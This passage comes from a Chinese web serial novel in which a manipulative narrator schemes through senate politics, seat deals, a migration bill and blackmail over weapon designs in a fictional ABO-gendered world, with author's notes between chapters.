白灯湾现在的精力集中在了清除叛乱党残党上,短时间内分不出时间来管理克亚区的舆论。为了平衡控制,上行城就会自上而下加大管控,其中参议院和陪审团的话语权一定会比之前更大。 我可以趁着这段时间内好好计划,最好把简家族和霍里家族抓在手里。 那我要怎么弄呢? “番苏,简家族的长女你了解吗?” 番苏略感意外地挑眉,“她?战事吃紧,军火生意火爆,为防止意外发生,她在上个月就前往克亚区监工了。” 我听她的语气不像是陌生人,于是给番苏一个疑惑的眼神。 番苏灿烂一笑,“她和我们组织也有合作,总得来说是个优秀的商人。” 懂了,只要给钱就没问题。 “你想拉拢她?”番苏问,“有点难哦,她只认自己赚的钱,别人白给的钱她还不要呢。” 厉害,还是个有原则的商人。白灯湾的钱要不起,重构的钱看不起,谁来了不说一句有原则。 “她两个弟弟也不行?”我指的是缇温和克斯蒂。 番苏的眼神一下子就微妙了,夹杂着戏谑和调侃,“你可以试一试嘛,之前我们就没你那么有本事。” “……你这夸奖听着真是隔人。”我哽住。 之后番苏又交代了些其他的事情,就快速翻窗跑走了。 我也终于能好好休息一下,放松身心躺床上。 不得都不说上行城的医疗条件就是好,我在病床上躺了一个星期,就可以来去自如行动了。 这段时间我可没忘记收看各种新闻,看看克亚区的舆情发展到什么地步了。 屏幕上,记者站在相对安全的位置,摄像机的镜头对准了楼下密密麻麻高举牌子的人群。 三千人的游行和罢工,相对从前来说进步很大。 但大家十分合法合规,安安分分地待在警戒线里没有超越一点点,甚至控制了音量防止打扰到其他周围正在上班的人。 当记者将话筒递给游行发起人时,发起人首先展示的是游行批准文件而不是牌子上的文字。可见克亚区的公民还是很文明的。 “请问你们游行的主要需求是什么呢?” 带头游行的是因为beta男性,面容愤怒却克制,抓过记者的话筒说:“我希望上行城和白灯湾的人给我们一个交代!白矿石到底是什么!为什么白灯湾宁愿牺牲那么多士兵,浪费我们的税款也要和叛乱党谈判!我们需要一个交代!白灯湾和上行城到底把我们克亚区的公民当什么了!” “新型城市的建立是为了我们,还是为了白灯湾!” 他已经很努力的表达愤怒了,可到底温和了些。 收看完现场直播,我就收回视线不再看。 参议院大楼内,每个人都行色匆匆,路过我时都恭恭敬敬地退开一步。 是哦,我现在是副院长了! 好爽! 走进电梯,我又看见了柯里亚纶。 他显然不想和我单独一起,但我还是笑眯眯地让开了一个位置,笑容亲切地对他招招手,“霍里议员,好巧啊,你也要去会议室啊。来来来,我们一起。” “不用。” “哎呀那么客气干什么!”我一把子将他拽进了电梯,对他的小助理挥挥手,“你,去另一个电梯。” 小助理:…… 他只能灰溜溜地去其他地方。 电梯门一关,柯里亚纶就下意识夹紧屁股,高高抬起透露。 “你很紧张?” 柯里亚纶冷嗤,“副院长,你在军事区待了几天也没学会说话吗?” “我需要学习吗?”我反问他,“我以为这是你才需要学习的。嗯,为了讨好我学的。” 他面色一变,“你!” 我却忽然把脑袋低下去,对他低眉顺眼,“你为什么总是对我摆脸色?我们之前明明做过。” 提起那一段“被透到差点哭”的经历,柯里亚纶的面色更难看了。 顺alpha是这样的,一点点尊严受挫就斤斤计较。 我难道就没有吃亏吗?为了透他我可是动用了组织的药剂和体力诶,矿工也是工,也是要工资的。 而且他又不是没有爽到。 但我选择大方原谅柯里亚纶。 哎,都说身份和阶级会让人长出羞耻心和道德,我就是被可恶的权利和金钱腐蚀了,才会想着体体面面。 于是我更长吁短叹伤春悲秋了,语气低落说:“柯里亚纶,你知道我在军事区不好过。团长之前甚至怀疑卡瑟娜失踪是我干的,我对天发誓,我原本只是想要在参议员的位置上到老。” 柯里亚纶不相信我的鬼话,双手环胸在电梯的另一边冷冰冰地看我,“白无用,你不用费尽心思地讨巧,我知道你在想什么。” 我微微抬眸,巩固我好久没有拿起来的老实人人设。 哎,军事区的人都是人精,老实人设吃不开,有什么事拳头都搞定了。 还是上行城好啊,大家都齐心协力搞缺德的事情,我一个老实人简直和蟑螂爬进垃圾场一样如鱼*得水。 “你为什么总把我想得那么坏?”我反问他,“你难道觉得我是那种没有丝毫责任心,干了事就什么都不认的人吗?可你有没有想过,我要是不努力,我能活着到现在见你吗?” “确实,一般来说你这种底层杂种如果不费尽心机算计,根本不可能爬上这个位置。”柯里亚纶讥讽。 我觉得我对柯里亚纶还是太温柔了。 性别歧视和阶级歧视嘛,我也会啊,我还比他更炉火纯青。 但这不代表别人可以这样对我哦。要知道小白已经进化了。 “哎,柯里亚纶。”我唉声叹气,“就因为你总是什么都不愿意听的样子,所以我才那么做啊。” “什么?”柯里亚纶蹙眉。 我更难过哀伤了,抬眸看他的眼神里充满了爱而不得迫不得已巴拉巴拉总之成分复杂层次分明的情感,“我没有碰卡诺卡。” “呵,这和我有……”柯里亚纶说道一半,忽然意识到了什么,像是被恶心到了般闭上了嘴。 我继续恶心他,语气幽幽:“柯里亚纶,我理解你。设身处地想一想,我也不会愿意和一个底层杂种beta扯上关系。但很多事情发生就是发生了,您难道要一直逃避吗?” 金发碧眼的alpha男性依旧冷脸,但颤抖的瞳孔显示了他内心发生的巨大震动。 好像被什么东西当头一击,他的嘴巴开开合合,欲言又止,企图从喉咙里发出点反驳的声音,但发不出来。 我自作主张替他发声了,“我不奢望那么多的,其实只是那短短的时间,就足够我珍惜了。我只是难过,难过我就算费尽心机爬到这个位置也得不到你一个稍微和善的眼神。” “团长让我下个月就和卡诺卡结婚,我不想,但想到你,我又觉得可以。你想要副院长的位置吗?下个月好不好,我下个月就自愿离开参议院,把位置让给你。” 离开参议院加入陪审团嘛,这也算自愿呀。 柯里亚纶像是看傻子看我,“你?” 楼层到了,门打开的下一秒我就恢复了原来正经的模样,“走了走了,开会了。” 身后的柯里亚纶在电梯内待了一会,跟上我的步伐离开电梯。 到达会议室,番苏作为院长竟然最先到达会议室。 她正在和她的党羽小声讨论着什么,等我进门,立刻热情大方地走过来拍打我的肩膀,“小白啊,你从军事区回来后大变样了。果然是能射杀叛乱党首领的大功臣,现在不仅上行城和克亚区,我还收到了很多白灯湾下来的消息,都在夸你呢。” 我腼腆憨厚一笑,挠了挠面颊,又飞快地看了一眼柯里亚纶,小声推辞说:“都是卡瑟娜将军及时出现的功劳,我只是运气好而已。” “哈哈哈,不要谦虚了。”番苏再次大力拍打我的肩膀,好几次击中我的未愈合的伤口。 我面带谦虚微笑,背地里对着番苏的肾狠狠肘击,然后被伤到了。 番苏笑容灿烂,在别人看不见的角度朝我聊起衣服,让我看见了垫在下面的防弹背心。 “位高权重嘛,肯定要随时注意人身安全。” 我:……番苏,我要让罗拉蒂尼把你的工资也给我! 一通寒暄后,我坐上了副院长的位置。 番苏则是亲自主持会议,笑容越来越灿烂地扫视一圈会议室内空出来的接近十个空位,她说:“那么,各位有什么想要推荐上来的人吗?” 长久以来的布局,终于成效了。 第93章 参议院的拥有话语权的席位总共二十一位,排除了海今以及前任副院长的党羽,空出来九个席位。 我大致扫一眼,舒展开身子听番苏和她的党羽你一言我一语地商量该怎么解决空出来九个位置的问题。 也正是这会,我看见了缇温和柯里亚纶同时扫过来的眼神。 又到了普天同庆的利益交换时间,让我看看等会中场休息的时候多少人会向我伸出裤腿。 “白副院长,你有什么推荐的人选吗?”番苏将目光投向我。 这个举动,让剩余的人意识到了我和她是一伙的。 我假装苦恼地撑着下巴,唉声叹气左右为难,“有倒是有,但他们资历恐怕不够。” 番苏灿然一笑,“那么拘谨做什么?你现在能做副院长,能力是得到大家承认的。只要是你推荐的人,大家当然也会信得过。” 其余人也十分有眼色地对我称赞吹捧几句。 我被夸得面红耳赤,嘴角勾着笑意,说:“这样吧,等会我再和对方商量一下。” “当然。”番苏笑得亲切随和,“我们相信你。” 和我结束讨论后,番苏象征性地提出了几个内推关系的候选人,得到了大家的赞同。 此外一些议员蠢蠢欲动,用委婉的语气提出想要将席位提前的想法,被番苏看似爽朗实则暗示的话堵了回去。 没好处的事情就想白嫖?真当番苏院长这个位置是光明磊落正当手段竞选上来的啊? 我估摸着时间差不多了,打开通讯器,果然看见了几条信息。 “大家都累了吧。”番苏微微抬手,示意记录会议的记录员停笔,笑脸盈盈地对众人说:“也快中午了,大家好好午休,有什么事下午再继续聊。” 她对我颔首,“白副院长,下午你也可以给大家好好参考一下了。” “好说好说。” 参议员们陆陆续续离开会议室,小林跟在我身后抱着一大堆文件。 自打从军事区回来后,她就沉默了很多。好吧从前她也沉默,但不至于半天憋不出一个字。我大概猜出她是什么心思,但没挑明。她是个懂得审时度势的人,到了时间点她自己会做出最好的选择。 这才刚刚进入办公室,小林门还没关,就有一个人挤进来。 我头也没回就知道是谁,慢悠悠给自己倒了一杯茶,“小林,帮我去订餐。” 小林立刻走了。 茶杯刚放桌面上,缇温就把头凑过来,“就只有我过来?” 我把他脑袋拍走,“是你来得最快。” 缇温原本还得意的表情又瘪下去,“啧,你就不能老实点么,一天天那么多情人,吃得消么?” 我原本张口的讥讽收回去,又摆出了老实人那一套,“你也这样说我。我刚从军事区回来,我以为你和其他人不一样,毕竟你是我第一个……” 缇温立刻把嘴闭上了,红霞从脖子蔓延到面颊,嘴角疯狂上扬又努力压制,还嘴硬说:“什么第一个,你上次可不是这样说的。” 我上次说啥了?算了不管,我爱怎么说怎么说,毕竟人机分离这事你们alpha也没少干。 “不一样,那些肤浅的东西和你不一样。”我矢口否认。 缇温彻底没把持住笑起来,“我知道我不一样。” 把他哄开心了,我也不再调情,把他来的目的说出来,“你想把席位提前?” 缇温也进入状态,只是嘴角还带着笑,“不行吗?我也没那么高的要求,你把你之前的十三席位给我就好了嘛。” “只是这样?”我反问,“不想多塞一个人进来?” alpha男性又把眉头皱起来了,“你什么意思?” 他刚想问,忽然想到什么把眼睛一下子瞪大了,“你想把克斯蒂弄进来?你疯了,他就是个omega!” “他就这么讨你喜欢,连参议员的位置都能给他?” 我立刻给他一个无辜的眼神,“你的姐姐又不在上行城,要是她有兴趣,也能回来做参议员啊。” 缇温哽住了。 他比谁都清楚自己的姐姐是个多么有原则的商人。从商就从商,要是和政治搞在一起,死得最快了。 可让一个omega做参议员,让他在利益和性别歧视之间左右脑互殴。就算这人是他自己的弟弟,也要好好考虑一会。 我见他愣在原地不说话,出言提醒:“你身后的帕菲尔隆多怎么说?” “什么?” 我将茶杯端给他,“隆多愿意帮你内推进入参议院,正是你们家族军火商的关系。现在你姐姐的生意越做越大,而你还在隆多的控制下,你就不想再往上爬?” 谁不想往上爬?对alpha来说,渴望权利完全是刻在骨子里的本能。 “今天的局势你也看见了,我和院长是一起的,她既然能放话让我大胆推人,就说明已经知道我会把谁推上去。我第一时间想到的就是你,不仅要帮你把席位提前,我还想再给你找个帮手。omega做参议员听起来离经叛道,但他的上限在哪不也是你说了算吗?” “你想想,参议院内你有谁能指挥得动?隆多简单把你推进来就什么都不管了,我就算想帮你都找不到机会。这次你要是不抓住机会,以后你怎么办?” 我动之以情晓之以理,提供情绪价值的同时给他分析利弊。 终于在我的游说下,他大脑内的利益打败了性别歧视,向我点头。 我立刻扬起笑容,捧着他的脸在他嘴角亲了亲,“缇温,你真的和其他人不一样。” “你多好啊,所以我总是舍不得你,总想着你。” 如此亲昵的行为许久未有了,他几乎是下意识寻着我的唇追上来,又被我按着腰坐在了沙发上。 缱绻的水声中,他又模糊地问:“你还看上谁?开会时你那语气可不止一个人。” 我没瞒着他,“霍里家的邦林顿。” 缇温一下子就把眼睛睁开了,“又是情人?霍里一家四口都被你上了?” “没有!”我立刻否认,“你别把我想得那么坏好不好?” 这不是还差一个年上寂寞人夫没吃吗? 缇温也就哼哼两下,没真气恼。 利益交换本来就错综复杂,有些时候情人关系和利益关系本质而言没什么区别。不就是裤腿缠在一起嘛,又不是只有这一届的政府搞。 碍于这里是办公室,我没真和缇温在办公室乱搞,亲两下就把人踢出办公室了。 小林也正好送饭过来。 “诺卡今天不送午饭吗?”我问。 “他说要准备结婚的事情。”小林回答。 听到关键词,我的手顿了顿,又恢复原样,“那就让他弄吧,他开心就好。” 小林扶了扶眼镜,把脑袋垂下去了。 用过午饭,我觉得休息没什么意思,于是把桌面上的文件抽出来一份打开看。 除了新型城市外,多了许多军事区和克亚区的文件。 游行以及针对游行的暴力镇压么? 这几天才看的新闻在我的脑海中浮现。 下午番苏应该会提出来,然后以人数压到的优势确定法案,然后直接提交给陪审团。 卡特勒会同意吗?还是交给隆多? 多想无意,我用签字笔在文件上签下自己的名字,然后把文件交给小林让她送去院长办公室。 小林走后,我又算了算时间,回复克斯蒂的信息。 午休的时间过半,我很耐心地继续等。 我知道柯里亚纶在等我主动,但我偏不。有求于人就该有服软的样子,顺直a讨厌就讨厌在这了。 卡在午休时间结束最后十分钟,柯里亚纶还是来了。 我坐在办公桌前,用老实憨厚的笑容说出调侃的话:“柯里亚纶,你对我真是疏远,我还以为要等明天。” “明天?”柯里亚纶冷哼,“明天你就能和缇温简缠在一起。” 用得着你说,我俩早就缠在一起了。 内心调侃,我又摆出楚楚可怜的表情,“柯里亚纶,别这样想我。我已经让小林把给你席位提到第三的文件上交给院长了。” 柯里亚纶表情不变。 我又多加了一句,“再帮你把邦林顿推进来如何?” alpha男性终于动了。 他知道政客的原则,“你想要什么?” “很简单啊,下午时院长会提出一起关于克亚区公民移民的法案,你举举手就好。”我笑道。 说得轻巧,实际上是把柯里亚纶往番苏阵营推。 这一点我不提,他也知道背后的意义。 已知我是卡特勒的人,我和番苏是一伙的,那么画等式他处于孤立无援的状态。 越是如此,他对我的厌恶就越明显。 从前风光无限,前途无量的年轻参议员,现在距离被挤出政治圈只差一点点,谁来了都得唏嘘。 “哎,真不知道你为什么讨厌我。”我装模作样感慨,“我明明在帮你啊,柯里亚纶。” 我懒得伪装了,撑着下巴远远直视他的眼睛,将他上下打量,“你应该知道番苏有机会把你也清理下去,但她没有那么做。团长也找过你好好谈话对吧?” “忍辱负重很辛苦,我比你更清楚这种感觉。” “我和你简直感同身受,所以看你这幅样子就想要帮你,只要你稍微对我和颜悦色一点。” 利益纠缠和情人关系本质而言没有区别。 权利不对等的不安全感会被异化扭曲成依赖和暧昧,这也是为什么天龙人们总是能得到众多簇拥的原因。 舔谁不是舔?为了好吃的东西,不就是把尊严和羞耻心丢掉嘛,谁没干过似的。 我对柯里亚纶伸出手,坐在椅子上动也不动等待他主动上前。 这个场景很眼熟,我给他变性那会好像也是这样。 不过我比他宽容,我会提供情绪价值。不要谢我,这是矿工应该做的。 “我帮你不好吗?有了邦林顿在,你在参议院内也多了个帮手。下个月我退出参议院,就推荐你为副院长。番苏会同意的,团长也会同意,而你只需要在某些时候举起手就够了。” 柯里亚纶同意了。 他站在我的办公桌前,握住了我伸出去的手。 下午三点,会议室再次开启。 番苏将文件展示在屏幕上,众人得以清晰地看见文件上的标题。 《克亚区向上行城移民政策》 “简直荒谬!”其中一位参议员在看见标题的第一眼就怒目圆睁,“克亚区是克亚区,如果让那些人来上行城,岂不是乱套了?” 他怒骂完,下意识看向柯里亚纶霍里,却没有得到对方的一个眼神。 alpha男性面无表情盯着屏幕上的文字,安静听完院长对法案的解释后,毫不犹豫地举起了手。 “我同意。” “霍里议员!”他目瞪口呆,还想说什么,余光却瞥见了其他议员们的动作。 我斜着眼看他,举起手的同时对他露出笑脸。 看我发现了什么,一个不听话的人,回头就把他弄死—— 作者有话说:估摸了一下,应该快完结了[点赞] 各位观众姥姥们有兴趣看我的预收吗?就是无cp鬼怪那一本[可怜] 第94章 番苏提出的法案以绝对压倒性的优势通过了,并且以极快的速度整理好文件今天之内提交给陪审团。 “你认为卡特勒会通过这个法案?”我问道。 番苏吊儿郎当地坐在办公桌上,食指轻敲太阳穴,目光却含笑着看我,“我猜她肯定不乐意。她确实想要集中权利,但不代表她放任手底下的人集中权利,尤其是你这个上门的赘媳。” 这一点不用番苏提醒,我自己就没忘记过。 说好听点是辅佐官,难听点就是个高级牛马,都是听人差遣,谁也高贵不到哪里去。 “她应该是想等军事区的事情过去,让卡瑟娜回到上行城接任。”我说道,“最迟一个月的时间内。” “所以你要怎么做?”番苏问道。 她坐在办公桌上还不够,要翘起一条腿懒洋洋地踩在上面,留下一个脏兮兮的脚印。 “转移注意力?”她提议,“我能暗杀她吗?” 我很想举起双手上叫赞同,但很显然这是个馊主意,“姐姐,她现在是我们最大的依仗,没了她我们也寸步难行好不好?” “啧!”番苏不满咂舌。 久违的焦虑席卷上来,我坐在办公桌另一边,两只手熟练地开始薅放在桌上的绿盆栽。 “你怎么这么没素质。” “因为我没文化。” 安静了一会后,我对番苏说:“这个法案今晚就提交上去给卡特勒过目,等她打回来后再提交。” “重复三次。” 番苏挑眉,“一个法案如果提交三次不予通过,后续可就不能再提交了啊。” “我知道。”我笑容灿烂,“要的就是这样。” 和番苏说完,我就脚步匆忙赶趟下一场。 回到别墅,我刚刚进门,就看见了笑容亲切的卡特勒。 很好,果然来了。 经过风霜岁月的alpha女性脸上挂着的笑容总是亲切又和蔼,但在我看来就跟披着狐狸皮的鬼似的,相当虚伪和恐怖。 相比起她,卡诺卡站在旁边就跟不谙世事的蠢猫一样毫无杀伤力。 阿沐站在另一边,看得出来他已经尽可能地压抑紧张的情绪了。可他没多少经验,装得根本就不像。 我的目光下落,看见了摆在桌面上的设计图。 哦呼,我还没干什么呢,卡特勒又要开始干我了吗? “无用,过来。”卡特勒对着我笑得好像我就是她亲生女儿一样亲切。 我也跟着露出了老实人憨厚微笑,走过去坐在诺卡身边,对设计图先发制人,“这是怎么了?桌面上的不是无垠的毕业设计吗?” 卡特勒的手摩挲着手杖顶端。这是我长久以来观察到的习惯,她每次算计人时都是这动作。 她还没说,卡诺卡就双手环胸,恨铁不成钢地用脚小小踢了我一下,“你还好意思!他根本就不是你的弟弟!” 此话一出,我的后背顿时惊出冷汗,却还是露出被冤枉的委屈表情,小心翼翼摸着被卡诺卡踢疼的小腿,小声说:“我没听懂,诺卡。无垠不就是我的弟弟吗?” 卡诺卡又翻了个白眼,撇嘴骂我:“你真蠢,你真的没读过书吗?” “上面的设计图,明显不对吧!” 我摆着诚挚脸真心求教,“哪里不对?” “当然是……”卡诺卡嘴巴张开又合上,脸部涨的通红,干脆一跺脚找卡特勒撒娇,“反正就是不对!妈妈,你直接告诉无用不就好啦。她就是太蠢了,才会被这个贫民窟的底层贱民耍得团团转。” 卡特勒无奈般地摸了摸卡诺卡的头发,然后站起来。 我也下意识跟随她站起来。 阿沐始终站在另一边,低垂着脑袋一言不发,双手握紧。 别墅内不仅有我们四人,还有其他人。 在进入别墅内时,我就感觉到了那无处不在的凝视感,好似我稍微有点不对劲,就会被一枪送上天堂。 卡特勒慢条斯理地摩挲手杖,等差不多了,就抬起手杖指了指桌面上的设计图,“上面的武器,是你设计的吗?” 这不是问我,是问阿沐。 阿沐吞口唾沫,呼吸有些急促,“嗯。” 话音落下,卡特勒轻笑,“年轻人,既然是你设计的,为什么上面的参数和我们手中的那一张不同呢?” 什么意思!我猛地将目光聚焦在卡特勒脸上,企图从她的微表情中解读些东西。 可下一秒我又是一阵冷汗。 卡特勒呈现给我的,真的是她无意识释放的信号,还是有意为之告诉我的信息。 但不管怎么样,她已经向我摊牌了。 她知道我和阿沐不是亲姐弟,并且把我俩的底细查清楚了。 那张设计图是她们故意从阿沐手中偷盗的,也是故意泄露给我的! 我又觉得自嘲。 塞兰德斯告诉我设计图被偷时我还洋洋得意,认为一张假的设计图没多少影响。谁知道他爸的反而被卡特勒抓住把柄来要挟,还荒谬地搞出“此弟非彼弟”的招数。 要挟么? 事到如今,我除了装傻下去还能做什么? 所以我露出迷茫的表情,“团长,无垠的设计图为什么会在你们手中?他在军事区时一直被保护得很好。” “好了,无用。”卡特勒微微抬手,“有些事情不是非得摊在明面上才行。” 她的眼神微妙了些,“你也知道,你如今副院长的位置是怎么来的。” 我当然知道,这是我辛辛苦苦挣来的! 装傻没用,那就只剩下顺从。 于是我顺着她想要的思路说下去,“我明白了,团长。” “听您的吩咐就好,我只希望我的弟弟能早点回来。” 卡特勒满意了,笑容满面地伸出手拍打我的肩膀,“我希望你的弟弟早点回来。” “这一张设计图我看过了,虽然是半成品,但经过专业人士鉴定,能知道是很优秀的作品。”她慢条斯理说:“不要让我失望,无用。我很期待你弟弟回来后,能把剩下的半张设计图画出来。” 这是警告,也是要挟。 我勉强露出笑容,“嗯。” 阿沐抬起眼眸,和我对视。 他的行为不隐秘,我也没觉得这心知肚明的关系需要隐瞒卡特勒,只是给他一个稍微安抚的眼神。 目前为止,我不用担心他生命受到威胁,顶多辛苦画画设计图而已。 毕竟他是我的“弟弟”,我不能真不管他。 要是哪天鱼死网破了,阿沐才有危险。 “你知道就好。”卡特勒说道,又摸了摸卡诺卡的脑袋,“走吧,诺卡。今天的事情有点多,让无用自己静一静。” “可是妈妈,我想……” “诺卡,Omega得矜持些,尤其是结婚前夕。” 卡诺卡不情不愿和卡特勒离开了。 几个的警官给阿沐戴上手铐,压着他跟上团长离去的步伐。 “砰!”门关上了。 我卸了所有力气倒在沙发上,长舒一口气。 艹他爸的,卡特勒到底什么脑子,怎么总能抓住我命门? 阿沐手中的设计图太重要了,绝对不能交出去。 但不叫出去,阿沐就出不来,时间长了卡特勒发现不对劲,还是会弄死阿沐。 我怎么弄。她都警告到这个地步了,肯定是看过递交的法案,让我连点小空子都钻不了。 不,不是毫无办法! 我蹭一下站起来,用通讯器翻找聊天框。 一溜烟下去,总算是找到合适的人。 第二天,我迈开趾高气昂的步伐进入参议员大楼,走进电梯后遇到熟悉的人,顺手一巴掌就拍在他腰上。 “白无用!”柯里亚纶咬牙切齿。 “嘻嘻,手滑。”我嬉皮笑脸。 正要按楼层,电梯又走进来一个人。 我眨眨眼,收回嬉皮笑脸一下子变得老实起来,面露小小的惊喜看着他,“克斯蒂,你真的来了。” Omega男性走入电梯,身后跟着两个随身的男仆。 “无用,我当然会来。”克斯蒂靠近我,眼神却上下挑剔般地扫过柯里亚纶,很快又掩盖住,“我很高兴,你能想到我。” 柯里亚纶仗着身高优势睥睨克斯蒂,别过脸假装没听见也没看见。 大庭广众下大家也不好说什么,到了指定的楼层,我和克斯蒂离开电梯,笑眯眯地与柯里亚纶挥手道别。 前往办公室的路上,我和克斯蒂越靠越近,到了办公室,大门一关。 克斯蒂伸出双臂缠住我,“无用,你真是越来越胆子大了。” 我装无辜,下垂着眼帘将下巴磕在他的胸口前,“我以为你会喜欢。” “克斯蒂,你明明很聪明,你能帮我处理尸体,其他事情也一定手到擒来。” “你昨晚肯定听见了,卡特勒绑走了我的弟弟。” 我声泪俱下满腹委屈,越是说下去,哭腔就越浓郁,“她在警告我,不允许我有任何脱离她掌控的行为。” “我好不容易从军事区回来,我以为我再见不到你了,我以为终于可以放松一下了,然她还是穷追不舍,甚至提前婚期。” 克斯蒂近乎怜惜地摩挲我的脸,“无用,你总是这样,遇到点事情就要向我哭诉。” “我没办法,克斯蒂。”我继续哭,脸埋在他的腹部,“你帮帮我,现在除了你谁也帮不了我。” “我努力把你提上来,我说服了你的哥哥,就是希望我们以后能天天见面。” “好了,无用,你告诉我,我怎么帮你?” 我这才抬起眼眸仰视他,笑得无辜又带着些祈求,“你的姐姐阿里雅安正在克亚区对吗。这个特殊时期军火紧俏,她为了确保商品安全亲自监工,想来一定可以找到很多不合格淘汰下来的商品。” “克斯蒂,我不要那些合格的东西,你只要告诉你的姐姐,我能处理掉那些不合格的商品,这就够了。”—— 作者有话说:艰难产出中[爆哭] 第95章 我感觉到抚摸我面颊的手停滞住了。 抬头看去,是克斯蒂隐藏在白色发丝里的眼睛。 那眼眸里的情绪很深,深到我差点没分辨出来里面是什么情绪。 克斯蒂确实很聪明,如果不是长期受到所谓的“新郎教育”,或许他的政绩比缇温还高。 但他的天真又很好地弥补了这一点,让我能够在他成长起来的同时再次覆盖住他的,让他继续心甘情愿听我的花言巧语。 于是我装作疑惑地问:“克斯蒂,怎么了?” 随后我又将眼神变得惊愕,无措又难过地拽住克斯蒂的手,“抱歉,克斯蒂,我不想逼你,我知道这个要求太为难你了。你不用担心,不想的话就不要做了。我不了解你的姐姐,也不清楚你姐姐会不会责怪你。” “克斯蒂,是我没考虑好。” 装模作样发表一番服软的言论后,我又可怜兮兮地退出他的怀抱,坐在办公桌上一动不动了。 他正要说什么,我又把脑袋转过去长吁短叹。 克斯蒂先是在门口待了一会,然后才走过来手搭在我的肩膀上。 “无用,你从军事区回来后就不一样了。”克斯蒂柔声说道,“走到这个位置,我知道你很不容易。” 他的手缓缓向下,顺着我胸脯的曲线往下,移动到了小腹的位置。 那里还包裹着纱布。虽说大部分已经愈合,但偶尔传来的痒意还是时刻提醒我之前多么命悬一线。 在克斯蒂的安抚下,那隔着纱布和布料的伤口似乎也变得不那么难耐了。 克斯蒂继续说:“你想我辅佐你,对吗?” “是,克斯蒂。”我低声回答他,寻着他的指尖亲吻。 “我是omega,无用。”克斯蒂又说,“alpha们不会希望一个omega站在他们头顶上。” 我把身子转过去面对他,面容里染上严肃,“克斯蒂,你知道我不会在乎这些东西。我之前和你说过的,你就是你,你的聪明和优秀和性别没关系,甚至比那些所谓的alpha都厉害得多。” “现在我有这个能力,我就要你,除了你谁都不行。克斯蒂,谁都帮不了我,上行城只有我们是一伙的。你帮帮我吧,克斯蒂,只有你可以。” 越到后面,我的情绪就越激动,眼眶也染上红,委屈地攀附在克斯蒂的手臂上,“你要厌倦我了吗?觉得我太粘人,还是太没用了?” 年轻有为的参议院副院长,社会中备受歧视的底层beta。这两个标签组在一起奇怪又矛盾,但对于克斯蒂来说却散发着难以言喻的引诱。 他喜欢成为别人的依靠,喜欢别人的视线聚焦在他的身上,喜欢看矛盾体的柔弱依赖。 我是半点都无所谓在情人眼里我是什么形象,但最好永远都是惹人怜爱的受害者。毕竟受害者才能站在道德制高点,才能对一切外界的东西指指点点。 “克斯蒂,你会帮我的,对吧?”我轻声请求,将脑袋枕在他的腹部。 头顶是一片安静,omega的手指穿过我的发尾,一点点地梳理这段时间疏于打理的发尾。 也不知道过了多久,克斯蒂的声音才温柔地从上方传来,“无用,我说过了,我会一直帮你。你不用这样可怜,你说什么我都答应你。” “我会找借口向姐姐讨要那一批不合格的货品,但储存用的仓库得你自己准备。” “钱够吗?”他俯身,几乎是贴着我的耳垂呢喃,“这批货你不好动用自己的钱,团长那一定会追究的。我的嫁妆很丰厚,先替你补上吧。” 我猛地抬起头,惊喜又愧疚地仰望克斯蒂的眼睛*,“真的吗?但那是你的嫁妆,克斯蒂,我不确定什么时候能还给你。” “没关系,无用。”他含笑着亲了亲我的嘴角,“我知道你现在没办法,但我相信你以后肯定可以。” 我最后的担忧消散,回应他的亲吻,“克斯蒂,你总是能在我需要帮助的时候陪我一起。” 看吧,克斯蒂还是很单纯可爱的。 克斯蒂想要上任参议员自然是遭遇了极大的反对。这不是什么利益问题,而是原则问题。 让两个beta成为院长和副院长就算了吧,大家也知道这位置没那么光明正大要是反对就会死。但政府建立以来,克斯蒂是第一个上任参议员的omega,这不政治斗争,而是一个做不好会被钉在耻辱柱上节点,可以有,但不能在这一届。 何况克斯蒂只读过新郎学校,没上过正经大学。 “新郎学校也是大学,你们这是学历歧视吧。”我理所当然,甚至有点泼皮无赖,然后找旁边在克斯蒂参照下顺利上任的邦林顿霍里寻求赞同,“我可是连大学都没上诶,小霍里议员当初也没因为我没上过大学就一棒子把我打成叛乱党啊。” “这,这怎么能一样呢?”反对的参议员面部涨红,恨铁不成钢,看我的眼神里恨不得写上“昏庸”两个大字。 “您和院长是靠着自己的能力上来的,大家也真心支持。可简就是一个omega,大学毕业后就在家待嫁,甚至工作经验都没有!” 我声音比他更大了,“你也知道我和院长是靠着实力走上来的啊,你也知道实力和性别没关系啊,那你那么反对做什么?” “那么有本事,我这个副院长位置让给你,你来当好不好?” “哈哈哈哈!”邦林顿看热闹不嫌事大,“哇哦,副院长好厉害哈哈哈。” 他拉上柯里亚纶,“大哥你也看得很开心吧?” 见到柯里亚纶的冷脸,他又笑得乱七八糟,“大哥你不会也不赞同吧?” 柯里亚纶扯了扯嘴角,“你闭嘴。” 现在参议院内大小两位霍里都在变相吃软饭,谁也不能说谁。 最终,经过我的一番舌战群儒,反对的参议员们只能不甘心地坐回去。 又能怎么办呢?权利不在手上,席位又不靠前,除了乖乖听话别无他法。而另一部投下赞同票的参议员们则没想那么多,只是习惯性审时度势。 我也清楚逼迫众人太多不合适,为克斯蒂争取席位时给了大家一个面子,按照克斯蒂的家族现阶段为战争做出的贡献为衡量标准,给了他一个十九席位的位置。后面的两个位置是番苏为了拉拢克亚区的人留下来的位置。 至此,经过短短两天的时间,参议员原本空缺的九个席位重新补满。 整个参议院意见达成高度统一,且因为处于叛乱党肃清阶段,话语权加大到鼎盛。 但很可惜,参议院上面还有一个陪审团,提交上去的法案三天内就被驳回。 有了卡特勒前几日的警告,我没让番苏按之前说的那样继续提交,而是整理归档,等待合适的时机待定。 就这样又过去了三天,克斯蒂已经完全适应了参议院的工作和生活。 一切都显得那么风平浪静,大家该吃吃该喝喝,偶尔在电视机上收看克亚区规模越来越大的游行。 这次带头人换成了一位年轻的alpha女性。她的面容稚嫩青涩,眉宇间满是意气风发,显然是一位还没有离开大学校园的学生。 足足三万人的超大罢工游行,以她为首的庞大队伍足足占据了克亚区市中心的三分之二。 五颜六色的牌子在她的身后举起来,所有人都带着愤怒一起看向摄像头。 “我们的诉求是人权,是尊严!” “贫民窟十几万人死去,为什么白灯湾到现在为止都没有给出正面回应!上行城的公民无所事事,凭什么用我们的纳税钱去供养他们!” “贫民窟之后到底是什么!军事区内发现的白矿石为什么不公布出来?白灯湾在军事区之前是否知道白灯湾的存在,如果知道存在,又利用白矿石对我们做了什么!” “我们是公民,拥有知情权!” “当初政府打着保护公民的名义在上行城和克亚区之间建立军事区,保护的到底是哪一方的公民!你们到底把我们克亚区的公民当成了什么!” 她高举手臂,眼眸充满了愤怒,“我们要答案!给我们答案!” 